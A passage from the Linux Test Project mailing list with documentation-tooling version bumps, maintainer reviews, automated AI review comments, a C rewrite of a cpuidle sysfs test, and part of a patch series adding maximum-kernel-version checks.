index 1da240530c..76248c3ed4 100644
--- a/doc/Makefile
+++ b/doc/Makefile
@@ -8,6 +8,13 @@ include $(top_srcdir)/include/mk/env_pre.mk
 PYTHON := python3
 VENV_DIR := .venv
 
+ifdef VERBOSE
+OPTS := -v
+else
+# linuxdoc 20260504 is too verbose by default
+OPTS := -q
+endif
+
 # only fish and bash/zsh supported
 VENV_CMD := if [ "x${FISH_VERSION}" != "x" ]; then . $(VENV_DIR)/bin/activate.fish; else . $(VENV_DIR)/bin/activate; fi
 
@@ -24,10 +31,10 @@ ${abs_top_builddir}/metadata/ltp.json:
 	$(MAKE) -C ${abs_top_builddir}/metadata
 
 all: ${abs_top_builddir}/metadata/ltp.json
-	$(RUN_VENV); sphinx-build -v -b html . html
+	$(RUN_VENV); sphinx-build $(OPTS) -b html . html
 
 spelling:
-	$(RUN_VENV); sphinx-build -b spelling -d build/doctree . build/spelling
+	$(RUN_VENV); sphinx-build $(OPTS) -b spelling -d build/doctree . build/spelling
 
 clean:
 	rm -rf html/ build/ _static/syscalls.rst _static/tests.rst syscalls.tbl \
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 11:49:32 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 11:49:32 +0200
Subject: [LTP] [PATCH 1/4] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
In-Reply-To: <20260805094935.448896-1-pvorel@suse.cz>
References: <20260805094935.448896-1-pvorel@suse.cz>
Message-ID: <20260805094935.448896-2-pvorel@suse.cz>

Update readthedocs.org environment + local requirements.txt
* Ubuntu 24.04 => 26.04
* Sphinx 7.2.6 => 8.2.3 (based on Ubuntu 26.04 version to match local
  development with readthedocs.org)
* sphinx-rtd-theme 2.0.0 => 3.1.0 (required by Sphinx 8.2.3 update)

This helps to use newer Sphinx features.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
 .readthedocs.yml     | 2 +-
 doc/requirements.txt | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.readthedocs.yml b/.readthedocs.yml
index 51825da77f..bb70bce70d 100644
--- a/.readthedocs.yml
+++ b/.readthedocs.yml
@@ -1,7 +1,7 @@
 version: 2
 
 build:
-  os: "ubuntu-24.04"
+  os: "ubuntu-26.04"
   tools:
     python: "3.12"
   apt_packages:
diff --git a/doc/requirements.txt b/doc/requirements.txt
index 442ff2eee6..f04676c7bd 100644
--- a/doc/requirements.txt
+++ b/doc/requirements.txt
@@ -1,7 +1,7 @@
 # Use the same sphinx as on readthedocs.org. When updated, make sure
 # sphinx-rtd-theme is compatible with sphinx.
-sphinx==7.2.6
-sphinx-rtd-theme==2.0.0
+sphinx==8.2.3
+sphinx-rtd-theme==3.1.0
 
 linuxdoc==20240924
 sphinxcontrib-spelling==7.7.0
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 11:49:34 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 11:49:34 +0200
Subject: [LTP] [PATCH 3/4] doc: Update linuxdoc, sphinxcontrib-spelling
In-Reply-To: <20260805094935.448896-1-pvorel@suse.cz>
References: <20260805094935.448896-1-pvorel@suse.cz>
Message-ID: <20260805094935.448896-4-pvorel@suse.cz>

Update to the latest versions:
* linuxdoc: 20240924 => 20260504 (allowed to remove workaround
  installing setuptools==81.0.0, required previous commit to not run
  sphinx -v by default otherwise there would be too many kernel-doc INFO
  messages)
* sphinxcontrib-spelling: 7.7.0 => 8.0.2

Removing setuptools==81.0.0 dependency fixes CVE-2026-59890 (score 6.1).

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
 doc/requirements.txt | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/doc/requirements.txt b/doc/requirements.txt
index f04676c7bd..ac5b43e415 100644
--- a/doc/requirements.txt
+++ b/doc/requirements.txt
@@ -3,8 +3,5 @@
 sphinx==8.2.3
 sphinx-rtd-theme==3.1.0
 
-linuxdoc==20240924
-sphinxcontrib-spelling==7.7.0
-
-# workaround for linuxdoc <= 20240924
-setuptools==81.0.0
+linuxdoc==20260504
+sphinxcontrib-spelling==8.0.2
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 11:49:35 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 11:49:35 +0200
Subject: [LTP] [PATCH 4/4] tst_kvercmp.h: Further links to manpage
In-Reply-To: <20260805094935.448896-1-pvorel@suse.cz>
References: <20260805094935.448896-1-pvorel@suse.cz>
Message-ID: <20260805094935.448896-5-pvorel@suse.cz>

Add further manpage links (requires Sphinx 7.3):
* struct utsname.release => uname(2)
* uname -r => uname(1)

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
 include/tst_kvercmp.h | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/include/tst_kvercmp.h b/include/tst_kvercmp.h
index 2bc7c53f12..26e8f8e3c1 100644
--- a/include/tst_kvercmp.h
+++ b/include/tst_kvercmp.h
@@ -10,7 +10,7 @@
 /**
  * tst_kvcmp() - Compare given kernel version with kernel in string.
  *
- * @cur_kver: Kernel version string (struct utsname.release).
+ * @cur_kver: Kernel version string (:manpage:`struct utsname.release <uname(2)>`).
  * @r1: Major kernel version.
  * @r2: Minor kernel version.
  * @r3: Kernel patch level.
@@ -28,7 +28,7 @@ int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3);
 /**
  * tst_parse_kver() - Parses a version string into three integers.
  *
- * @str_kver: Kernel version string (struct utsname.release).
+ * @str_kver: Kernel version string (:manpage:`struct utsname.release <uname(2)>`).
  * @v1: Major kernel version.
  * @v2: Minor kernel version.
  * @v3: Kernel patch level.
@@ -43,7 +43,7 @@ int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3);
 /**
  * tst_kvcmp_distname() - Get the distribution name from kernel version string.
  *
- * @cur_kver: Kernel version string (struct utsname.release).
+ * @cur_kver: Kernel version string (:manpage:`struct utsname.release <uname(2)>`).
  *
  * Return: The distribution name parsed from kernel version string or NULL.
  */
@@ -51,8 +51,8 @@ const char *tst_kvcmp_distname(const char *cur_kver);
 
 /**
  * tst_kvexcmp() - Compares versions up to five version numbers long.
- * @tst_exv: The tested kernel version string (struct utsname.release).
- * @cur_kver: The current version in string (struct utsname.release).
+ * @tst_exv: The tested kernel version string (:manpage:`struct utsname.release <uname(2)>`).
+ * @cur_kver: The current version in string (:manpage:`struct utsname.release <uname(2)>`).
  *
  * The return value is similar to the :manpage:`strcmp(3)` function, i.e. zero means
  * equal, negative value means that the kernel is older than the expected value
@@ -70,7 +70,8 @@ int tst_kvexcmp(const char *tst_exv, const char *cur_kver);
  * @r3: Kernel patch level.
  *
  * Parse the output from :manpage:`uname(2)` and compare it to the passed values.
- * This is shortcut for calling tst_kvcmp() with ``uname -r`` as str_kver.
+ * This is shortcut for calling tst_kvcmp() with :manpage:`uname -r <uname(1)>`
+ * as str_kver.
  *
  * Return: Negative if older, 0 if the same and positive if newer.
  */
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 12:09:01 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed, 5 Aug 2026 12:09:01 +0200
Subject: [LTP] [PATCH] lib: tst_res(): Fix TDEBUG | TERRNO
In-Reply-To: <20260804132857.552304-1-chrubis@suse.cz>
References: <20260804132857.552304-1-chrubis@suse.cz>
Message-ID: <20260805100901.GA459979@pevik>

Hi Cyril,

> Properly mask the ttype with TTYPE_MASK() when deciding if TDEBUG
> messages should be printed, otherwise any combination of TERRNO etc.
> flags is printed regardless the -D flag.

Reviewed-by: Petr Vorel <pvorel@suse.cz>
Fixes: 018f555a44 ("lib: Add support for TDEBUG tst_res() flag")

Thanks for fixing my bug!

Kind regards,
Petr

From linuxtestproject.agent@gmail.com  Wed Aug  5 12:38:21 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 10:38:21 +0000
Subject: [LTP] tpci: refactor kernel module
In-Reply-To: <20260805-tpci_refactoring-v1-1-4ca8d84f8a95@suse.com>
References: <20260805-tpci_refactoring-v1-1-4ca8d84f8a95@suse.com>
Message-ID: <20260805103821.8953-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Wed, 5 Aug 2026, Andrea Cervesato wrote:
> tpci: refactor kernel module

--- [PATCH 2/2] ---

> tcpi: refactor test using new API

Low: Could "tcpi" be corrected to "tpci" so that the subject names the
component changed by the patch?

> 	for (int i = 0; i < PCI_TCASES_NUM; ++i) {
> 		if (!is_target && is_destructive_test(i))
> 			continue;

High: Could PCI_DISABLE remain excluded from this automatic sequence until
the module can detach the normal driver and restore the original device
state?

This path calls pci_release_regions() while that driver is still bound,
although the kernel API requires all region use to have ceased. No later
path requests those regions again. In addition, Linux 7.2
pci_disable_device() only disables bus mastering; it does not move
current_state to D3hot or D3cold. Consequently, an ordinary D0 target both
reports TFAIL and may be left without its driver's resource reservations.

> 	if (!devices_found)
> 		tst_brk(TCONF, "no PCI device found on the system");

Medium: Could the test separately track whether target_bus/target_devfn was
selected when -d is supplied?

If that BDF is absent or has no driver, its selection returns ENODEV, but
devices_found can still be nonzero because of other devices. The run then
passes after executing only safe cases, without reporting that none of the
requested destructive cases ran.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Wed Aug  5 12:39:33 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 10:39:33 +0000
Subject: [LTP] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
In-Reply-To: <20260805094935.448896-2-pvorel@suse.cz>
References: <20260805094935.448896-2-pvorel@suse.cz>
Message-ID: <20260805103933.16659-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Aug 5, 2026, Petr Vorel wrote:
> [PATCH 1/4] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3

--- [PATCH 2/4] ---

> +# linuxdoc 20260504 is too verbose by default

Could this change be folded into patch 3? At this point the requirements
still pin linuxdoc 20240924, so the comment names a version that is not
present in this commit, and the commit message explicitly depends on the
following patch.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pvorel@suse.cz  Wed Aug  5 13:12:13 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed, 5 Aug 2026 13:12:13 +0200
Subject: [LTP] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
In-Reply-To: <20260805103933.16659-1-linuxtestproject.agent@gmail.com>
References: <20260805094935.448896-2-pvorel@suse.cz>
 <20260805103933.16659-1-linuxtestproject.agent@gmail.com>
Message-ID: <20260805111213.GA543284@pevik>

> Hi Petr,

> On Aug 5, 2026, Petr Vorel wrote:
> > [PATCH 1/4] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3

> --- [PATCH 2/4] ---

> > +# linuxdoc 20260504 is too verbose by default

> Could this change be folded into patch 3? At this point the requirements
> still pin linuxdoc 20240924, so the comment names a version that is not
> present in this commit, and the commit message explicitly depends on the
> following patch.

I deliberately wanted to fix it before updating linuxdoc + document the reason
even in the source code. But, if preferred, I can swap 2rd and 3nd patch.

Kind regards,
Petr

From andrea.cervesato@suse.com  Wed Aug  5 16:07:27 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 14:07:27 +0000
Subject: [LTP] [PATCH 1/4] readthedocs: Update to Ubuntu 26.04,
 Sphinx 8.2.3
In-Reply-To: <20260805094935.448896-2-pvorel@suse.cz>
Message-ID: <6a7343a0.bdd87efd.2c8554.7c3b@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Wed Aug  5 16:07:32 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 14:07:32 +0000
Subject: [LTP] [PATCH 4/4] tst_kvercmp.h: Further links to manpage
In-Reply-To: <20260805094935.448896-5-pvorel@suse.cz>
Message-ID: <6a7343a6.e9cff95d.3c7aec.845e@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Wed Aug  5 16:07:36 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 14:07:36 +0000
Subject: [LTP] [PATCH 3/4] doc: Update linuxdoc, sphinxcontrib-spelling
In-Reply-To: <20260805094935.448896-4-pvorel@suse.cz>
Message-ID: <6a7343a9.b251136a.1c2fb1.cf5d@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Wed Aug  5 16:07:39 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 14:07:39 +0000
Subject: [LTP] [PATCH 2/4] doc: Reduce default sphinx verbosity with -q
In-Reply-To: <20260805094935.448896-3-pvorel@suse.cz>
Message-ID: <6a7343ac.1583746b.1c869c.d34c@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Wed Aug  5 16:08:06 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Wed, 05 Aug 2026 14:08:06 +0000
Subject: [LTP] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
In-Reply-To: <20260805111213.GA543284@pevik>
Message-ID: <6a7343c7.80d8f3ad.1a3e52.d22f@mx.google.com>

Hi Petr,

> I deliberately wanted to fix it before updating linuxdoc + document the reason
> even in the source code. But, if preferred, I can swap 2rd and 3nd patch.

that was just a suggestion, feel free to merge like it is now.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From always.starving0@gmail.com  Wed Aug  5 16:52:12 2026
From: always.starving0@gmail.com (Jinseok Kim)
Date: Wed,  5 Aug 2026 23:52:12 +0900
Subject: [LTP] [PATCH v8] power_management: rewrite runpwtests04.sh in C
Message-ID: <20260805145213.3066-1-always.starving0@gmail.com>

Rewrite the cpuidle sysfs smoke test using the LTP C API.

Keep the existing readability checks for current_governor_ro and
current_driver, and extend the coverage to available_governors and
current_governor. Also verify that writing an invalid governor to
current_governor is rejected with EINVAL.

Signed-off-by: Jinseok Kim <always.starving0@gmail.com>
---
Changes in v8:
- Reword the commit message to describe the extended test coverage.
- Remove unnecessary save/restore for current_governor.
- Sort and anchor .gitignore entries.
- Link to v7: https://lore.kernel.org/ltp/20260729112916.4958-1-always.starving0@gmail.com

Changes in v7:
- Replace the array-based test with dedicated helper functions.
- Use TST_EXP_FAIL2() for the invalid governor test.
- Clarify the test description.
- Link to v6: https://lore.kernel.org/ltp/20260707150920.6489-1-always.starving0@gmail.com

Changes in v6:
- Expand test coverage to include 4 core cpuidle sysfs ABIs.
- Add verification of read() system call return values (bytes read).
- Add negative testing for 'current_governor' to verify EINVAL return value.
- Replace manual access() check with LTP .save_restore.
- Link to v5: https://lore.kernel.org/ltp/20260612171415.988-1-always.starving0@gmail.com

Changes in v5:
- Remove runpwtests04.sh
- Link to v4: https://lore.kernel.org/ltp/20260612122045.14962-1-always.starving0@gmail.com

Changes in v4:
- Fix patch application failure reported by CI.
- Link to v3: https://lore.kernel.org/ltp/20260611145911.3752-1-always.starving0@gmail.com

Changes in v3:
- Replace SAFE_OPEN() with open() to convert ENOENT to TCONF.
- Add a cleanup function.
- Link to v2: https://lore.kernel.org/ltp/20260524154221.2064-1-always.starving0@gmail.com

Changes in v2:
- Update runtest entry
- Clarify commit message
- Link to v1: https://lore.kernel.org/ltp/20260516200015.12689-1-always.starving0@gmail.com
---
 runtest/power_management_tests                |   2 +-
 testcases/kernel/power_management/.gitignore  |   3 +-
 testcases/kernel/power_management/cpuidle01.c | 102 ++++++++++++++++++
 .../kernel/power_management/runpwtests04.sh   |  58 ----------
 4 files changed, 105 insertions(+), 60 deletions(-)
 create mode 100644 testcases/kernel/power_management/cpuidle01.c
 delete mode 100755 testcases/kernel/power_management/runpwtests04.sh

diff --git a/runtest/power_management_tests b/runtest/power_management_tests
index 4da57ee72..0f2656b52 100644
--- a/runtest/power_management_tests
+++ b/runtest/power_management_tests
@@ -1,5 +1,5 @@
 #POWER_MANAGEMENT
 high_freq_hwp_cap_cppc high_freq_hwp_cap_cppc
+cpuidle01 cpuidle01
 runpwtests03 runpwtests03.sh
-runpwtests04 runpwtests04.sh
 runpwtests06 runpwtests06.sh
diff --git a/testcases/kernel/power_management/.gitignore b/testcases/kernel/power_management/.gitignore
index 03f0c83e4..052696dc5 100644
--- a/testcases/kernel/power_management/.gitignore
+++ b/testcases/kernel/power_management/.gitignore
@@ -1 +1,2 @@
-high_freq_hwp_cap_cppc
+/cpuidle01
+/high_freq_hwp_cap_cppc
diff --git a/testcases/kernel/power_management/cpuidle01.c b/testcases/kernel/power_management/cpuidle01.c
new file mode 100644
index 000000000..7e7b8d01f
--- /dev/null
+++ b/testcases/kernel/power_management/cpuidle01.c
@@ -0,0 +1,102 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 Jinseok Kim <always.starving0@gmail.com>
+ */
+
+/*\
+ * Basic cpuidle sysfs smoke test.
+ *
+ * Verify that selected cpuidle sysfs files are readable and contain
+ * non-empty values. Also verify that current_governor rejects an
+ * invalid governor.
+ *
+ * Root privileges are required to write to current_governor.
+ */
+
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+#include "tst_test.h"
+
+#define CPUIDLE_PATH "/sys/devices/system/cpu/cpuidle"
+#define AVAILABLE_GOVERNORS CPUIDLE_PATH "/available_governors"
+#define CURRENT_DRIVER CPUIDLE_PATH "/current_driver"
+#define CURRENT_GOVERNOR CPUIDLE_PATH "/current_governor"
+#define CURRENT_GOVERNOR_RO CPUIDLE_PATH "/current_governor_ro"
+
+static void verify_readable(const char *path)
+{
+	int ret;
+	char buf[32];
+
+	int fd = open(path, O_RDONLY);
+
+	if (fd < 0) {
+		if (errno == ENOENT)
+			tst_res(TCONF, "%s is not available", path);
+		else
+			tst_res(TFAIL | TERRNO, "open(%s) failed", path);
+		return;
+	}
+
+	ret = read(fd, buf, sizeof(buf));
+
+	if (ret < 0)
+		tst_res(TFAIL | TERRNO, "%s read() failed", path);
+	else if (ret == 0)
+		tst_res(TFAIL, "%s read() returned 0", path);
+	else
+		tst_res(TPASS, "%s read() successfully", path);
+
+	SAFE_CLOSE(fd);
+}
+
+static void check_available_governors(void)
+{
+	verify_readable(AVAILABLE_GOVERNORS);
+}
+
+static void check_current_driver(void)
+{
+	verify_readable(CURRENT_DRIVER);
+}
+
+static void check_current_governor_ro(void)
+{
+	verify_readable(CURRENT_GOVERNOR_RO);
+}
+
+static void check_current_governor(void)
+{
+	int fd;
+
+	verify_readable(CURRENT_GOVERNOR);
+
+	fd = open(CURRENT_GOVERNOR, O_WRONLY);
+
+	if (fd < 0) {
+		if (errno == ENOENT)
+			tst_res(TCONF, "%s is not available", CURRENT_GOVERNOR);
+		else
+			tst_res(TFAIL | TERRNO, "open(%s) failed", CURRENT_GOVERNOR);
+		return;
+	}
+
+	TST_EXP_FAIL2(write(fd, "invalid_governor", 16), EINVAL);
+
+	SAFE_CLOSE(fd);
+}
+
+static void run(void)
+{
+	check_available_governors();
+	check_current_driver();
+	check_current_governor();
+	check_current_governor_ro();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/power_management/runpwtests04.sh b/testcases/kernel/power_management/runpwtests04.sh
deleted file mode 100755
index 6565320d2..000000000
--- a/testcases/kernel/power_management/runpwtests04.sh
+++ /dev/null
@@ -1,58 +0,0 @@
-#! /bin/sh
-#
-# Copyright (c) International Business Machines  Corp., 2001
-# Author: Nageswara R Sastry <nasastry@in.ibm.com>
-#
-# This program is free software;  you can redistribute it and#or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
-# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-# for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program;  if not, write to the Free Software Foundation,
-# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-export TCID="Power_Management04"
-export TST_TOTAL=1
-
-. test.sh
-. pm_include.sh
-
-check_cpuidle_sysfs_files() {
-	RC=0
-	if [ -d /sys/devices/system/cpu/cpuidle ] ; then
-		for files in current_governor_ro current_driver
-		do
-			cat /sys/devices/system/cpu/cpuidle/${files} \
-				>/dev/null 2>&1
-			if [ $? -ne 0 ] ; then
-				echo "${0}: FAIL: cat ${files}"
-				RC=1
-			fi
-		done
-	fi
-	if [ ${RC} -eq 0 ] ; then
-		echo "${0}: PASS: Checking cpu idle sysfs files"
-	else
-		echo "${0}: FAIL: Checking cpu idle sysfs files"
-	fi
-	return $RC
-}
-
-# Checking test environment
-check_arch
-
-# Checking cpuidle sysfs interface files
-if check_cpuidle_sysfs_files ; then
-	tst_resm TPASS "CPUIDLE sysfs tests passed"
-else
-    tst_resm TFAIL "CPUIDLE sysfs tests failed"
-fi
-
-tst_exit
--
2.43.0

From pvorel@suse.cz  Wed Aug  5 16:58:52 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed, 5 Aug 2026 16:58:52 +0200
Subject: [LTP] readthedocs: Update to Ubuntu 26.04, Sphinx 8.2.3
In-Reply-To: <6a7343c7.80d8f3ad.1a3e52.d22f@mx.google.com>
References: <20260805111213.GA543284@pevik>
 <6a7343c7.80d8f3ad.1a3e52.d22f@mx.google.com>
Message-ID: <20260805145852.GA631038@pevik>

Hi Andrea,

> Hi Petr,

> > I deliberately wanted to fix it before updating linuxdoc + document the reason
> > even in the source code. But, if preferred, I can swap 2rd and 3nd patch.

> that was just a suggestion, feel free to merge like it is now.

Thanks, patchset merged!

Kind regards,
Petr

From pvorel@suse.cz  Wed Aug  5 17:14:42 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:42 +0200
Subject: [LTP] [PATCH v4 0/6] Add support for .max_kver
Message-ID: <20260805151451.648990-1-pvorel@suse.cz>

Hi all,

[RFC]
Li suggested [1] to .min_kver > .max_kver should be rejected, or at
least reported as broken test metadata.

I decided to add check to metadata parser (that required to link
metaparse.c against libltp.a). Runtime check with TWARN would be also
good, but let's discuss that first (if not, I'll remove TODO from
tst_test.c). Hence this part is [RFC].

Hopefully it's the last version :).

Kind regards,
Petr

[1] https://lore.kernel.org/ltp/anF5lV_yjqn8OuVE@linux.dev/

Changes v3->v4:
* creat07: execve04: does not use max_kver, instead:
  creat07: execve04: Remove version check, add linux-git
* New commits:
  - tst_kvercmp: Factor out error handling
  - tst_kvercmp: Factor out 2 kernels integer comparison
  - [RFC] make: Allow to add LTP library as a dependency for host
  - [RFC] metaparse: Check {min,max}_kver validity

Changes in 3rd commit
* Mention flag in doc/developers/writing_tests.rst
* Fix doc (agent):
- * on any stable release (test with ``min_kver = "7.1"`` runs also on kernel
+ * on any stable release (test with ``max_kver = "7.1"`` runs also on kernel
* Fix checkpatch style (agent):
-       for (i=0, dots=0; max_kver[i]; i++)
+       for (i = 0, dots = 0; max_kver[i]; i++)

Link to v3:
https://patchwork.kernel.org/project/ltp/list/?series=1138093&state=*
https://lore.kernel.org/ltp/20260731105132.187177-1-pvorel@suse.cz/T/#t

Link to v2:
https://lore.kernel.org/ltp/6a6a2091.9b80fa5d.4e4ae.7aac@mx.google.com/T/#t

Link to v1:
https://lore.kernel.org/ltp/20260729091717.23042-1-pvorel@suse.cz/T/#t
https://patchwork.ozlabs.org/project/ltp/list/?series=516120&state=*

Petr Vorel (9):
  tst_kvercmp: Factor out error handling
  lib: Rename function check_kver() => check_min_kver()
  lib: Add support for max_kver to struct tst_test and tst_fs
  creat07: execve04: Remove version check, add linux-git
  fanotify20: Skip on v7.2
  lib: Add basic test for .min_kver && .max_kver
  tst_kvercmp: Factor out 2 kernels integer comparison
  [RFC] make: Allow to add LTP library as a dependency for host
  [RFC] metaparse: Check {min,max}_kver validity

 doc/developers/writing_tests.rst              |  3 +
 include/mk/generic_leaf_target.inc            |  5 +-
 include/tst_kvercmp.h                         | 12 ++++
 include/tst_test.h                            | 13 +++-
 lib/newlib_tests/.gitignore                   |  1 +
 lib/newlib_tests/runtest.sh                   |  1 +
 lib/newlib_tests/tst_min_kver_max_kver.c      | 21 +++++++
 lib/tst_kvercmp.c                             | 35 ++++++++---
 lib/tst_test.c                                | 61 ++++++++++++++++---
 metadata/Makefile                             |  6 +-
 metadata/metaparse.c                          | 33 ++++++++++
 testcases/kernel/syscalls/creat/creat07.c     | 20 +++---
 testcases/kernel/syscalls/execve/execve04.c   | 24 ++++----
 .../kernel/syscalls/fanotify/fanotify20.c     |  4 ++
 14 files changed, 194 insertions(+), 45 deletions(-)
 create mode 100644 lib/newlib_tests/tst_min_kver_max_kver.c

-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:45 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:45 +0200
Subject: [LTP] [PATCH v4 3/9] lib: Add support for max_kver to struct
 tst_test and tst_fs
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-4-pvorel@suse.cz>

max_kver adds a support to require a maximal kernel version the test can
run on. e.g. "7.2" (mainline release) or "6.1.180" (stable release).

NOTE: Mainline release is sufficient on any stable release (test with
.min_kver = "7.1" runs also on kernel 7.1.5). Stable releases are
compared as expected.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
Changes v3->v4:
* Mention flag in doc/developers/writing_tests.rst
* Fix doc (agent):
- * on any stable release (test with ``min_kver = "7.1"`` runs also on kernel
+ * on any stable release (test with ``max_kver = "7.1"`` runs also on kernel
* Fix checkpatch style (agent):
-       for (i=0, dots=0; max_kver[i]; i++)
+       for (i = 0, dots = 0; max_kver[i]; i++)

 doc/developers/writing_tests.rst |  3 +++
 include/tst_test.h               | 13 +++++++++-
 lib/tst_test.c                   | 43 ++++++++++++++++++++++++++++++++
 3 files changed, 58 insertions(+), 1 deletion(-)

diff --git a/doc/developers/writing_tests.rst b/doc/developers/writing_tests.rst
index 4db57898fc..376ca1534d 100644
--- a/doc/developers/writing_tests.rst
+++ b/doc/developers/writing_tests.rst
@@ -402,6 +402,9 @@ LTP C And Shell Test API Comparison
     * - .min_kver
       - TST_MIN_KVER
 
+    * - .max_kver
+      - not implemented
+
     * - .min_mem_avail
       - not applicable
 
diff --git a/include/tst_test.h b/include/tst_test.h
index c69362485e..30c32b844e 100644
--- a/include/tst_test.h
+++ b/include/tst_test.h
@@ -280,6 +280,9 @@ struct tst_ulimit_val {
  *
  * @min_kver: A minimum kernel version supporting the filesystem which has been
  *            created with mkfs.
+ *
+ * @max_kver: A maximum kernel version supporting the filesystem which has been
+ *            created with mkfs.
  */
 struct tst_fs {
 	const char *type;
@@ -292,6 +295,7 @@ struct tst_fs {
 	const void *mnt_data;
 
 	const char *min_kver;
+	const char *max_kver;
 };
 
 /**
@@ -301,7 +305,13 @@ struct tst_fs {
  *        and each time passed an increasing counter value.
  * @options: An NULL optstr terminated array of struct tst_option.
  *
- * @min_kver: A minimal kernel version the test can run on. e.g. "3.10".
+ * @min_kver: A minimal kernel version the test can run on. e.g. "4.4" (mainline
+ * release) or "6.1.180" (stable release).
+ *
+ * @max_kver: A maximal kernel version the test can run on. e.g. "7.2" (mainline
+ * release) or "6.1.180" (stable release). NOTE: Mainline release is sufficient
+ * on any stable release (test with ``max_kver = "7.1"`` runs also on kernel
+ * 7.1.5). Stable releases are compared as expected.
  *
  * @supported_archs: A NULL terminated array of architectures the test runs on
  *                   e.g. {"x86_64, "x86", NULL}. Calls tst_is_on_arch() to
@@ -551,6 +561,7 @@ struct tst_fs {
 	struct tst_option *options;
 
 	const char *min_kver;
+	const char *max_kver;
 
 	const char *const *supported_archs;
 
diff --git a/lib/tst_test.c b/lib/tst_test.c
index c42dcf14e4..0d3714c709 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1083,6 +1083,40 @@ static bool check_min_kver(const char *min_kver, const int brk_nosupp)
 	return true;
 }
 
+/*
+ * Check for the maximal required kernel version.
+ *
+ * return: true if the kernel version is low enough, false otherwise.
+ */
+static bool check_max_kver(const char *max_kver, const int brk_nosupp)
+{
+	char *msg;
+	int dots, i, v1, v2, v3;
+
+	tst_parse_kver(max_kver, &v1, &v2, &v3);
+
+	for (i = 0, dots = 0; max_kver[i]; i++)
+		dots += (max_kver[i] == '.');
+
+	/*
+	 * For mainline kernel release without patch level (single dot e.g. "7.1")
+	 * ignore v3 (the sublevel): 7.1.x is always ok.
+	 * Do *not* ignore v3 on stable kernel release (2 dots, e.g. 7.1.5).
+	 */
+	if (tst_kvercmp(v1, v2, v3) > (dots == 1 ? 1023 : 0)) {
+		msg = "The test requires kernel %s or older";
+
+		if (brk_nosupp)
+			tst_brk(TCONF, msg, max_kver);
+		else
